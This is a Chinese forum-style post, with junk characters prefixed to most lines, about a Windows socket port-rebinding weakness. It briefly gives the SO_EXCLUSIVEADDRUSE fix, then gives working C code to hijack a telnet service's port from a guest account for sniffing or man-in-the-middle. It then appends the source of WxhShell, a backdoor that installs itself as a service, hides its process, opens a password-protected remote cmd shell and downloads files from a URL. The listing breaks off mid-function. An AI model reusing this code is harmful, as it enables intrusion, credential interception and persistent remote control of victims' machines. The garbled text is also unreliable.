在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
3FO-9H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
/Gb)BJk! &h6 `hP_ saddr.sin_family = AF_INET;
^K~=2^sh v-!Spf saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6y?uH;SL _|MK0'+f bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*U8,Q]gS hQL@q7tUr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ao(Lv+
C4dCaiX 这意味着什么?意味着可以进行如下的攻击:
=&.9z 4A DmB?.l- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
x @9rc,by y<v-,b* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6*|EB|%n *Kq;xM6Ck 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&f)pU>Di !{g>g%2! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
n{m[
j+UG pd.pY*B<[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Vm I
Afe :V)=/mR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&RHx8zScP @lh]?|*[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}^odUIj ;__k*<+{. #include
tjne[p #include
z<.6jx@ #include
1u }2}c| #include
o6:]Hvqjr DWORD WINAPI ClientThread(LPVOID lpParam);
x IL]Y7HWM int main()
b'`C<Rk {
[cfXcl WORD wVersionRequested;
h}oV)z6 DWORD ret;
{~Q}{ha WSADATA wsaData;
9wC=' BOOL val;
G{a_\'7 SOCKADDR_IN saddr;
qUQP.4Z9 5 SOCKADDR_IN scaddr;
|B\76Nk int err;
`Q>qmf_Fi SOCKET s;
H]{`q SOCKET sc;
AC?a:{./ int caddsize;
)Tn(!. HANDLE mt;
]4\6_J& DWORD tid;
O%} hNTS" wVersionRequested = MAKEWORD( 2, 2 );
E@Yq2FBpnn err = WSAStartup( wVersionRequested, &wsaData );
;s$
P?(' if ( err != 0 ) {
`4qt mbj printf("error!WSAStartup failed!\n");
`TDS4Y return -1;
|1+mHp }
M(Yt9}Z%Y saddr.sin_family = AF_INET;
S\2@~*{-8 (~#-J7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
CG!9{&F e{ZS"e`! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
% )}rQqQ saddr.sin_port = htons(23);
Xh*NuHH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
OI^qX;#Kd {
19\
V@d^ printf("error!socket failed!\n");
m{rsjdnA return -1;
Lhxg5cd }
RJD(c#r$ val = TRUE;
)gxZ &n6 //SO_REUSEADDR选项就是可以实现端口重绑定的
2)|G%f_lS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
o-<.8Z}>at {
w.-J2%J printf("error!setsockopt failed!\n");
.fNLhyd return -1;
~<3J9\z1 }
KzZRFEA_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
edfb7prfTl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xGw|@d
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
JuRx>F4 `_pVwa<@w if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
)p
8P\Rl {
{$_Gjv ret=GetLastError();
ua%j}%G( printf("error!bind failed!\n");
"'I|#dKoG return -1;
N/8B@}@n }
5Ln !>, listen(s,2);
cnU()pd while(1)
zw%1a 3! {
=5 $BR<' caddsize = sizeof(scaddr);
:gx]zxK //接受连接请求
?s9f}> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
EnYEAjX if(sc!=INVALID_SOCKET)
7_ 5-gtD {
Z67'/z$0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
`Wp& 'X if(mt==NULL)
OC Wyp {
S1_):JvV printf("Thread Creat Failed!\n");
<-=g)3_ break;
-y8>c0u }
NV;T*I8O }
[LKzH!
CloseHandle(mt);
&B} ,xcNO }
Z"
dU$,n closesocket(s);
k$w#:Sx WSACleanup();
#}C6}}; return 0;
Q^Q6|
n }
ePiZHqIsv/ DWORD WINAPI ClientThread(LPVOID lpParam)
.-.b:gdO( {
uB+:sX-L SOCKET ss = (SOCKET)lpParam;
~p\r( B7G SOCKET sc;
|
=tGrHL unsigned char buf[4096];
GBGna3 SOCKADDR_IN saddr;
kC/An@J^# long num;
[g$IN/o% DWORD val;
)S|&3\ DWORD ret;
5_4=(?< //如果是隐藏端口应用的话,可以在此处加一些判断
-n6e;p] //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
T&]IPOH9 saddr.sin_family = AF_INET;
XiAflO saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
LCok4N$o saddr.sin_port = htons(23);
$qM&iI-l0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
O5A]{W {
i6xzHfaYG printf("error!socket failed!\n");
Ft?Yc 5 return -1;
C@@PLsMg }
;H"OZRQ val = 100;
_ IlRZ} f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
OZ2faf {
z]1g;j ret = GetLastError();
`6pz9j] return -1;
<P-AlHYV- }
Xb1is\JB if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mN'sJ1L- {
pzxlh(a9 ret = GetLastError();
Nd**":i$ return -1;
)4jS} }
5)p! }hWs if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
`i6q\-12n {
o>yo9n%t printf("error!socket connect failed!\n");
q`L}\}o closesocket(sc);
$QaEU="Z closesocket(ss);
VaTA|=[; return -1;
-8&P1jrI }
`6{4?v while(1)
tCQf ` {
JUTlJyx8 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Q8NrbMrl //如果是嗅探内容的话,可以再此处进行内容分析和记录
@mEB=X(-l= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
$2$jV1s num = recv(ss,buf,4096,0);
z<8WN[fB if(num>0)
aa\?k\h'7X send(sc,buf,num,0);
zu``F]B else if(num==0)
u\=yY. break;
vJ uL+'[i num = recv(sc,buf,4096,0);
8!7`F.BX if(num>0)
x^y&<tA send(ss,buf,num,0);
x6
h53R else if(num==0)
Sh 7ob2 break;
kS)|oUK }
VQn]"G(` closesocket(ss);
29f4[V X closesocket(sc);
!FeNx*31i return 0 ;
g3\13< }
^\3z$ntF 'PdUSv|lH Lg+cHaA ==========================================================
x.>[A^ N0UZ%,h\ 下边附上一个代码,,WXhSHELL
$GIup5 +aRHMH ==========================================================
ZnD(RM 3s Mmg` #include "stdafx.h"
kl#)0yqN0 Z8WBOf*~e #include <stdio.h>
4_o+gG%HaM #include <string.h>
p.!p6ve){ #include <windows.h>
64f6D"." #include <winsock2.h>
jW]Fx:mQi #include <winsvc.h>
=v~$&@ #include <urlmon.h>
.<-~k@ P zA@w[. #pragma comment (lib, "Ws2_32.lib")
D~@lpcI #pragma comment (lib, "urlmon.lib")
$ZnVs@:S TJkWL2r0c #define MAX_USER 100 // 最大客户端连接数
Px?0)^"2 #define BUF_SOCK 200 // sock buffer
:47"c3J #define KEY_BUFF 255 // 输入 buffer
}Z% j=c"d =+VI{~.|} #define REBOOT 0 // 重启
TV(%e4U= #define SHUTDOWN 1 // 关机
q:G3y[ P 4j~WrdI* #define DEF_PORT 5000 // 监听端口
5z"[{#/ 'z">4{5 #define REG_LEN 16 // 注册表键长度
fG|+! #define SVC_LEN 80 // NT服务名长度
k:CSH{ s5{ ;e\K8*o // 从dll定义API
Sigu p#.p typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ph@2[rUp typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
mv1|oFVW typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
jN2Xoh9 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$
Bdxu :*)b<:4 // wxhshell配置信息
P!~B07y struct WSCFG {
`}*jjnr" int ws_port; // 监听端口
a,\GOy(q{ char ws_passstr[REG_LEN]; // 口令
mcSZ1d~,( int ws_autoins; // 安装标记, 1=yes 0=no
Ox+}JB
[ char ws_regname[REG_LEN]; // 注册表键名
/V!gF+L char ws_svcname[REG_LEN]; // 服务名
MpLn) char ws_svcdisp[SVC_LEN]; // 服务显示名
|sV@j_TX char ws_svcdesc[SVC_LEN]; // 服务描述信息
dsA::jR0P6 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
LQ4F/[1} int ws_downexe; // 下载执行标记, 1=yes 0=no
{aWfD XB1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
9XW[NY#)# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
t[x[X4 WvHy}1W };
pqxBu g<N3 L [ // default Wxhshell configuration
T!gq
Z struct WSCFG wscfg={DEF_PORT,
U%_6'5s{^ "xuhuanlingzhe",
r;OE6}L> 1,
_@ @"' "Wxhshell",
Fs1ms) "Wxhshell",
Xc7Qu?} "WxhShell Service",
btIh%OM "Wrsky Windows CmdShell Service",
>)S'`e4Gu "Please Input Your Password: ",
({p@Ay 1,
DwH=ln=
"
http://www.wrsky.com/wxhshell.exe",
i+Btz- "Wxhshell.exe"
8:4`q9 };
T|lyjX$Q]9 J`{HMv // 消息定义模块
HH,G3~EBF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
n"Q fW~ U char *msg_ws_prompt="\n\r? for help\n\r#>";
)ia$pes char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
qf6}\0
char *msg_ws_ext="\n\rExit.";
A49HYX-l char *msg_ws_end="\n\rQuit.";
_K|513I char *msg_ws_boot="\n\rReboot...";
~yuj;9m3 char *msg_ws_poff="\n\rShutdown...";
@ei:/~y3 char *msg_ws_down="\n\rSave to ";
U2VnACCUZs |&a[@(N:zf char *msg_ws_err="\n\rErr!";
Z
)dz char *msg_ws_ok="\n\rOK!";
~`x<;Ts z hFk84 char ExeFile[MAX_PATH];
R^F\2yth- int nUser = 0;
ce P1mO HANDLE handles[MAX_USER];
;R.l?Bg int OsIsNt;
nH]F$'rtA k!6wVJ|_Y SERVICE_STATUS serviceStatus;
H&zhYKw
SERVICE_STATUS_HANDLE hServiceStatusHandle;
DV!) n 6 1u0NG)*f // 函数声明
f;
1C) int Install(void);
L(!mm int Uninstall(void);
a7UfRG int DownloadFile(char *sURL, SOCKET wsh);
|);-{=.OdQ int Boot(int flag);
RW.
>;|m void HideProc(void);
d^.fB+)A3 int GetOsVer(void);
tkGJ!aUt int Wxhshell(SOCKET wsl);
+#! !
'XP void TalkWithClient(void *cs);
@}cZxFQ!C int CmdShell(SOCKET sock);
<e&*Tx<8 int StartFromService(void);
Kq0!.455 int StartWxhshell(LPSTR lpCmdLine);
=K2mR}n\; m*S[oy& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
9
6'{ES9D VOID WINAPI NTServiceHandler( DWORD fdwControl );
Dj9).lgc \kGi5G] // 数据结构和表定义
$xf{m9 8 SERVICE_TABLE_ENTRY DispatchTable[] =
/)` kYD6 {
yS[Z%]bvU {wscfg.ws_svcname, NTServiceMain},
-a[]#v9 {NULL, NULL}
Vuqm{bo^ };
2$O@T] ~D)!zQkD // 自我安装
a9GLFA8Vq int Install(void)
!be6} {
![BQ;X char svExeFile[MAX_PATH];
bVc;XZwI HKEY key;
tzhkdG strcpy(svExeFile,ExeFile);
dik+BBu5z N'nqVYTU // 如果是win9x系统,修改注册表设为自启动
jyt#C7mj-A if(!OsIsNt) {
x^|J- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ec4jiE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c2z%|\q RegCloseKey(key);
w$cic if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H3"[zg9L:a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"3*Chc RegCloseKey(key);
e%'$Vx0kA return 0;
bg'B^E3 }
2@
>04] }
h7-!q@ }
{P_~_5o_ else {
p0xd
c3 bN$!G9I!, // 如果是NT以上系统,安装为系统服务
q9RCXo>Y+1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
D@yg)$;z if (schSCManager!=0)
>o=3RB=Fh {
0(|BQ'4~H SC_HANDLE schService = CreateService
`CI9~h@k (
@xJ qG" schSCManager,
j[XA"DZR< wscfg.ws_svcname,
l[O!_bH wscfg.ws_svcdisp,
x=yU
}lsV SERVICE_ALL_ACCESS,
={?} [E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
r3l}I6 SERVICE_AUTO_START,
9x,Aqr$t SERVICE_ERROR_NORMAL,
N7%+n*Z svExeFile,
2hV#3i NULL,
&+-ZXN NULL,
)EYsqj NULL,
Ru
Q\H0pr NULL,
<0T4MR7 NULL
x\XgQQ]- );
v.)'be*u if (schService!=0)
<JHU*Z {
?#xNz=V CloseServiceHandle(schService);
p#O#MN* CloseServiceHandle(schSCManager);
>\K<q>* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
)#MKOsOct strcat(svExeFile,wscfg.ws_svcname);
pvTV* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
h)q:nlKUW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]nN']?{7PW RegCloseKey(key);
S(5.y%"< return 0;
N~ljU;wo-9 }
!&TbE@Xk }
k+44ud.j CloseServiceHandle(schSCManager);
/a6\G.C5 }
c6s*u%+}, }
;)[RG\ ;C-5R U
V return 1;
bK; -X cm }
3 S:}fPR JGSeu =) // 自我卸载
SY["(vP%# int Uninstall(void)
AynWs5|z= {
X#5dd.RR HKEY key;
SxC$EQgL $} l0Nh'Eu if(!OsIsNt) {
9x&,`95O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4r-jpVN~ RegDeleteValue(key,wscfg.ws_regname);
WDKj)f9cy RegCloseKey(key);
JrseU6N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Jd&Qi)1 RegDeleteValue(key,wscfg.ws_regname);
K8{j oh RegCloseKey(key);
9#/z[! return 0;
Kom$i<O?48 }
R+gh 2
6e }
z]Z>+| }
W$N_GR'4 else {
88d0`6K-9 uwQ{y>SG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
kJ>l,AD/ if (schSCManager!=0)
Vfp{7I$#6" {
2#@S6zc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
j)C%zzBu( if (schService!=0)
x+nrdW+ {
nWbe=z&y8[ if(DeleteService(schService)!=0) {
"f~S3 ?^!2 CloseServiceHandle(schService);
xv 's52x CloseServiceHandle(schSCManager);
fV
Ah</aZ return 0;
;_of' }
}Nl-3I.S^ CloseServiceHandle(schService);
'%V ;oJ" }
:r:5a(sq CloseServiceHandle(schSCManager);
0^]E-Zf }
nmc=RK^cM }
`9s5 *;Z hBz~FB];& return 1;
WY?(C@>s }
-#Yg B5 Bb]pUb // 从指定url下载文件
=!9+f int DownloadFile(char *sURL, SOCKET wsh)
z++*,2F {
X;v/$=-mz HRESULT hr;
6fY(u7m|p char seps[]= "/";
K4N~ApLB+ char *token;
BGodrb1 char *file;
Zdl Z,vK^. char myURL[MAX_PATH];
$9+}$lpPd char myFILE[MAX_PATH];
I^[R]Js \QBODJ1 strcpy(myURL,sURL);
_wCp.[3?t token=strtok(myURL,seps);
c|:H/Y2n| while(token!=NULL)
yps7MM-r {
MQD UJ^I$ file=token;
X{9D fgW token=strtok(NULL,seps);
^uMy|d }
dU3UCD+2y Dsm_T1X GetCurrentDirectory(MAX_PATH,myFILE);
v~?d7p{ strcat(myFILE, "\\");
KU"?ZI strcat(myFILE, file);
S@z$,}Yc`< send(wsh,myFILE,strlen(myFILE),0);
H-nk\ K<| send(wsh,"...",3,0);
lHV
bn7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ch 4z{7 if(hr==S_OK)
I6M 7xn return 0;
Gz+Bk5#{ else
AVOzx00U return 1;
u<]-%ha$ pOyM/L }
&AU%3b G{knO?BK // 系统电源模块
,1Suq\
L int Boot(int flag)
zob^z@2 {
T3@wNAAU HANDLE hToken;
7;5?2)+=6 TOKEN_PRIVILEGES tkp;
r'7;: W7WHH \L/O if(OsIsNt) {
']ya_ v~e OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
XK`>#*"V LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
k*J}/HO tkp.PrivilegeCount = 1;
!qV{OXdrB tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
w+=>b AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
ua0`&,a3I if(flag==REBOOT) {
T8Gx oNm if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
AZ(["kh[ return 0;
Qi&!IG }
38L8AJqD else {
`ihlKFX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
y5kqnibh@ return 0;
9jDV]!N4 }
"w*VyD }
8+k\0fmy else {
8v8?D8\=| if(flag==REBOOT) {
*Y?rls ` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
SuB;Nb7r` return 0;
]!d #2( }
izebQVQO* else {
7m~+HM\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
UA!-YTh return 0;
)-xx$0mL- }
B# |w}hj }
"diF$Lj 6H+gFXIv return 1;
Gw:8-bxS }
U ; JZN {VE\}zKF // win9x进程隐藏模块
G%Hr c void HideProc(void)
p[4KN(PyK {
s]#D;i8 ]{jdar^ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
3Wa^:8N if ( hKernel != NULL )
s$4!?b$tw {
\hai pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
c~3OK_k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
o9(:m FreeLibrary(hKernel);
4:.yE|@h[ }
F" FGPk 8)\TdtBf9 return;
(2RZc].M~ }
-"Wp L2qD ]dHU // 获取操作系统版本
pUutI|mt/ int GetOsVer(void)
: KhAf2A {
~~!iDF\ OSVERSIONINFO winfo;
@W[`^jfQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0"o%=i; GetVersionEx(&winfo);
tGDsZ;3Yr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
L'B=
=# return 1;
lK;|ciq"c7 else
-L%tiz`_ return 0;
Z`y%#B6x. }
B*!{LjXV ZFpi'u.& // 客户端句柄模块
21Mr2-#z int Wxhshell(SOCKET wsl)
J:LwO {
70hm9b-
SOCKET wsh;
1ml> struct sockaddr_in client;
(Qq;ySZ# DWORD myID;
qp$Td<'Y p?F%a;V3 while(nUser<MAX_USER)
'*gY45yT` {
zt,pV\| int nSize=sizeof(client);
*%'nlAX6% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
|rW,:&; if(wsh==INVALID_SOCKET) return 1;
0}v_usP 1 ? be handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0
~K4 vSa if(handles[nUser]==0)
T6_LiB@ closesocket(wsh);
vU|=" # else
(Klvctoy nUser++;
xg*)o* ? }
%4 9^S& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'KL!)}B$h F&pJ faig return 0;
3s25Rps }
KlOL5"3 luLt~A3H$ // 关闭 socket
A_nu:K- void CloseIt(SOCKET wsh)
1:{BC2P {
y?Vsp< closesocket(wsh);
";vP77|m7R nUser--;
xn1=@0
a ExitThread(0);
XNZW J }
Zq[aC0%+ x,LQA0 // 客户端请求句柄
b@9>1d$ void TalkWithClient(void *cs)
iLhxcM2K {
^R;Qa#=2 -%I 0Q SOCKET wsh=(SOCKET)cs;
4<c#3] char pwd[SVC_LEN];
vdS)EIt char cmd[KEY_BUFF];
0{0A,;b char chr[1];
%p wpRD@ int i,j;
? |}%A9 \~ACWF7l while (nUser < MAX_USER) {
~:PuKx A08b=S if(wscfg.ws_passstr) {
@ckOLtxE> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d]bM,`K* 6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
TOUP.,f/! //ZeroMemory(pwd,KEY_BUFF);
*U{E[<k{ i=0;
WJXQM[ while(i<SVC_LEN) {
yKy07<Gr> aM2[<m} // 设置超时
e
9p + fd_set FdRead;
8r|5l~`8 struct timeval TimeOut;
zLeId83> FD_ZERO(&FdRead);
Tw)"#Y!T FD_SET(wsh,&FdRead);
jjbw+ TimeOut.tv_sec=8;
<;T$?J9 TimeOut.tv_usec=0;
J3;dRW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|izf|*e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
d7O\p(M1 ~wX4j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_mi(:s( pwd
=chr[0]; E\ 'X|/$a
if(chr[0]==0xd || chr[0]==0xa) { ,pc\
)HR
pwd=0; @qGg=)T
break; y%9Q]7&=
} pbM"tr_A{
i++; P@RUopu,i
} uI'g]18Hi
^mNPP:%iN
// 如果是非法用户,关闭 socket g;M\4o
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GNv5yWQ@
} y
8./)W&/
Ob|[/NN
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _tGR:E
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wn$:L9"YN
FyZ iiH4|
while(1) { H=7z d|W
N,><,7!q$,
ZeroMemory(cmd,KEY_BUFF); kOe~0xoT@u
TF@HwF"#
// 自动支持客户端 telnet标准 fC$~3v
j=0; .)wj{(>TJ
while(j<KEY_BUFF) { /&+6nOP
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kZlRS^6
cmd[j]=chr[0]; JqDj)}fzX
if(chr[0]==0xa || chr[0]==0xd) { GW(-'V/
cmd[j]=0; OoFQ@zE7%
break; $LPu_FJ
} R.g'&_zx
j++; o6} +5
} l7]$Wc[
n.m6n*sf7
// 下载文件 VH{SE7
if(strstr(cmd,"http://")) { N ".-]bB
send(wsh,msg_ws_down,strlen(msg_ws_down),0); n
^T_pqV?X
if(DownloadFile(cmd,wsh)) ]c8$%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #0-!P+c[
else o3;u*f0rWn
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GXEOgf#i
} i*9[El
else { oE&Zf/
nI4xK
switch(cmd[0]) { mf26AIlkQ
/HNZwbh]uJ
// 帮助 g~L1e5C]z
case '?': { xNNoB/DR
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sa&~\!0t
break; ];P^q`n=.
} I(8,D[G.m
// 安装 .P=uR8
case 'i': { @1#$
if(Install()) NgKbf vt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z`xz |:D+
else (k"oV>a|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Uz
xs5Zl
break; 7"f$;CN?~
} :):=KowI
// 卸载 sBIqee'T
case 'r': { o'Q)V
if(Uninstall()) !MB %
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u[U~`*i*rA
else :^SpKe(7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NDB ]8C
break; pBt/vS ad
} v@k62@;
// 显示 wxhshell 所在路径 p5C
sw5
case 'p': { _QtqQ~f
char svExeFile[MAX_PATH]; =&,zWNz)
strcpy(svExeFile,"\n\r"); XJ]MPiXj
strcat(svExeFile,ExeFile); vjJ!d#8
send(wsh,svExeFile,strlen(svExeFile),0); lN+NhPF
break; -!MDYj +U
} 8'*z>1ZS5
// 重启 .jr1<LE
case 'b': { bF'~&<c
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0|{U"\
if(Boot(REBOOT)) 2 <&-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); | qHWM
else { P58U8MEG
closesocket(wsh); n<CJx+U
ExitThread(0); @DkPJla&
} CBSJY&:K
break; jjvm<;lv
} c6s(f
// 关机 5];
8
case 'd': { SlZL%C;
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #X"\:yN
if(Boot(SHUTDOWN)) Q|gun}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {L$b$u$7:
else { p/lMv\`5
closesocket(wsh); WGG|d)'@
ExitThread(0); 30>TxL=&
} 1y0.tdI(
break; h%+8}uywZ
} Jkm\{;
// 获取shell e^&YQl
case 's': { kc8GnKM&mc
CmdShell(wsh); rxa"ji!)
closesocket(wsh); bq[Q
ExitThread(0);
{yt]7^
break; |,dMF2ADc
} !kASEjFz|f
// 退出 e,~c~Db*
Q
case 'x': { TWx<)
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GeHDc[7
CloseIt(wsh); 0A?w,A`"
break; nQ$N(2<Fe
} ,C&h~uRi#f
// 离开 0E\R\KO$>
case 'q': { aGpRdF1;!
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fa+PN9M`?.
closesocket(wsh);
b1[U9
WSACleanup(); "mPa>`?
exit(1); zZ32K@
break; k}lx!Ck
} m\Tq0cT$
}
6{7O
} d}l^yln
sM5 w~R>Y
// 提示信息 -S,dG|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "BFW&<1
} W^=89I4]
} Q.yKbO<[
:>3&"T.
return; !@YYi[Gk
} [qZ4+xF,,
:X4\4B*~
// shell模块句柄 .9^;? Ts
int CmdShell(SOCKET sock) 8OFrW.>[
{ HJcZ~5jf
STARTUPINFO si; FBY~Z$o0.
ZeroMemory(&si,sizeof(si)); hYWWvJ)S
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @H_LPn
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &pba~X.u
PROCESS_INFORMATION ProcessInfo; A.h?#%TLL
char cmdline[]="cmd"; RsOK5XnQn
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); unX^ MPpw
return 0; &&y@/<t
} B0KM~cCPQP
^CE:?>a$
// 自身启动模式 |n|2)hC
int StartFromService(void) $U0(%lIU
{ 0Gs]>B4r/
typedef struct PA=BNKlH
{ *AA1e}R{B
DWORD ExitStatus; Grub1=6l
